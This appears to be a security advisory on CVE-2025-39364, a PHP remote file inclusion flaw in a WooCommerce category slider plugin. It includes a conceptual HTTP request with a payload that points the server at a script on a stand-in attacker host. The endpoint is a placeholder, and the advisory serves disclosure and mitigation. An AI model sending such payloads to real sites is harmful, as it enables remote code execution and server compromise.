Overview
CVE-2025-39364 is a significant security vulnerability discovered in PluginEver’s Product Category Slider for WooCommerce. It pertains to an improper control of filename for ‘include’ or ‘require’ statement in PHP programs, leading to a PHP Remote File Inclusion vulnerability. The affected users are those who have installed versions of the Product Category Slider for WooCommerce up to 4.3.4. The vulnerability, if exploited, could lead to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-39364
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage
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Product | Affected Versions
Product Category Slider for WooCommerce | up to 4.3.4
How the Exploit Works
The exploit works by taking advantage of the improper control of filename for ‘include’ or ‘require’ statement in PHP programs. An attacker could send a request with a malicious filename that points to a file on a remote server. The server then includes this file and executes the code within it, allowing the attacker to execute arbitrary code on the server and potentially compromise it.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://malicious.example.com/malicious_script.php" }In this example, the attacker sends a POST request with a JSON payload containing a malicious ‘include_file’ value. This value is a URL pointing to a malicious PHP script hosted on the attacker’s server. If the server processes this request and includes the file, it will execute the malicious script, leading to a potential system compromise.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation. These systems can be configured to block requests that appear to be exploiting this vulnerability, reducing the risk of a successful attack.
